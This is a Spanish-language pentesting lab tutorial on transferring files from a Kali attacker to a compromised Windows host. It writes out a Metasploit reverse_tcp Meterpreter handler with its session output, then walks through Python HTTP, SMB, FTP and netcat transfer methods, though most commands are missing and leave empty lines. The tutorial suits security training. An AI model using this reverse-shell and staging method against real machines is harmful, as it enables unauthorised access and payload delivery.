Transferencia de ficheros

Con esta tecnica de pasarnos ficheros a traves de la red tendremos varias formas de hacerlo, por ejemplo una de ellas es tanto si tenemos un acceso a la maquina victima tanto logico como fisico teniendo una interfaz grafica podremos interactuar con los componentes graficos de la maquina victima, pero si tenemos una shell reversa teniendo acceso solo desde terminal tendremos que hacerlo de otras formas.

Teniendo estos 2 escenarios vamos a ver como seria la transferencia de archivos en dichos escenarios.

Teniendo nuestro kali como maquina atacante y el WS02 (Windows) como maquina victima, vamos a crearnos una conexion reversa a la maquina WS02 mediante metasploit con el meterpreter, pero no utilizaremos meterpreter utilizaremos la shell de Windows.

msfconsole -q

Configuramos la escucha de la siguiente forma:

use multi/handler
set LHOST 192.168.5.205
set LPORT 7777
set PAYLOAD windows/meterpreter/reverse_tcp
run

Ejecutamos el binario para que nos cree la shell desde el Windows y veremos lo siguiente en metasploit:

[*] Started reverse TCP handler on 192.168.5.205:7777 
[*] Sending stage (177734 bytes) to 192.168.5.209
[*] Meterpreter session 1 opened (192.168.5.205:7777 -> 192.168.5.209:61133) at 2025-02-12 05:54:49 -0500

meterpreter >

Ya obtendremos la shell, ahora vamos a poner en practica la transferencia de archivos por la red.

Antes para no tener el prompt de meterpreter vamos a utilizar la shell de Windows poniendo el comando shell y veremos esto:

meterpreter > shell
Process 5648 created.
Channel 1 created.
Microsoft Windows [Versi�n 10.0.19045.3803]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\empleado2\Desktop>

Ahora en kali vamos a crear un directorio donde vayan a estar los ficheros que queremos transferir:

Python Server

Ahora la primera forma de transferir un archivo seria utilizando python creando un servidor del mismo de forma temporal y pasarnoslo a traves de la red.

Python2

Python3

Si seguidamente le indicamos un numero estaremos especificando el puerto en el que queremos abrir el servidor, pero si lo dejamos por defecto se abrira en el puerto 8000, lo mismo para el python2.

Ahora teniendo el servidor abierto en la misma red que la maquina victima, si nos vamos al WS02 con interfaz grafica, abriremos un PowerShell y ejecutaremos el siguiente comando:

Veremos lo siguiente:

Vemos que efectivamente se nos guardo en el escritorio, ya que le indicamos con la segunda ruta que nos lo guarde con ese nombre y en esa ubicacion.

En el servidor de python veremos algo asi:

Vemos que la maquina WS02 realizo una peticion a este server y que se descargo el archivo satisfactoriamente con un 200 Ok.

Ahora vamos a eliminar el archivo test.txt de la maquina WS02 y vamos a repetir la tecnica pero desde una terminal con una shell remota que tenemos en metasploit.

Como en la shell que hemos obtenido reversa tendremos un CMD tendremos que invocar un PowerShell de la siguiente forma para pasarnos el archivo:

Info:

Y como vemos funciono correctamente.

Con una maquina linux se podria hacer igual pero con otros comando y herramientas, por ejemplo una muy utilizada seria con curl o con wget:

Y con curl:

SMB Server

Ahora si nos lo queremos pasar abriendo un servidor de smb desde kali podremos hacerlo de la siguiente forma:

Donde puse test es el nombre de la carpeta compartida que vamos a compartir, puede ser cualquier nombre y el . le indicamos en que directorio queremos compartir el servidor, en mi caso en este mismo directorio.

Info:

Ahora esto ya esta a la escucha y habremos creado un server de smb temporal.

Ahora si nos vamos a la maquina WS02 y tenemos una interfaz grafica, podremos abrir una carpeta y conectarnos de forma remota mediante la direccion IP:

Si pulsamos ENTER veremos la carpeta test:

Si entramos en ella veremos el archivo que estamos compartiendo:

Y con esto ya nos podremos pasar el archivo a la maquina victima desde una interfaz grafica.

Pero si tenemos una shell tendremos que poner lo siguiente:

Info:

Y con esto veremos que realizamos la transferencia de forma correcta.

twistd3 Server

Ahora vamos a ver como compartirnos archivos pero en este caso con un servidor FTP, este tiene algunas limitaciones, dependiendo del sistema operativo en el que vayamos a pasarlo o el archivo, pero esta bien conocerla tambien.

Con esto estamos creando un servidor FTP con acceso anonimo en el directorio actual.

Info:

Ahora que esta abierto el servidor, si nos vamos a la maquina WS02 con la interfaz grafica, podremos pasarnos el archivo de la siguiente forma:

Abriremos PwerShell:

Info:

Y ahora abriremos una conexion con el servidor que hemos abierto en el kali:

Info:

Y con esto ya estaremos dentro del servidor temporal que creamos con FTP, ahora si nosotros metemos un comando y no esta permitido el acceso a una red externa de Windows va a requerir privilegios de administrador locales y si no los tenemos sera algo mas limitado, por eso es una tecnica un poco peor, pero pongamos que los tenemos, le tendremos que dar a permitir:

Y si ahora volvemos hacer un dir veremos lo siguiente:

Vemos que esta el archivo test.txt, ahora nos lo descargaremos de la siguiente forma:

Y si salimos con bye y listamos con un dir, veremos que esta el archivo correctamente:

En linux seria mas sencillo, con poner este comando:

Dejamos la contraseña en blanco y veremos que estamos dentro, listamos con un ls:

Y ya con el get nos descargariamos el archivo, etc...

Netcat Server

Tambien lo podemos transferir utilizando un servidor de netcat pero esto es menos realista, ya que es muy complicado utilizar esta herramienta en Windows en linux seria mas facil, pero en Windows tendriamos que pasarnos el bianrio de netcat a la maquina y desde ahi ejecutarlo, en una organizacion el firewall puede cortar este tipo de conexiones, por lo que no seria muy recomendable hacerlo, pero si se pudiera seria de la siguiente forma:

Kali

Windows

Last updated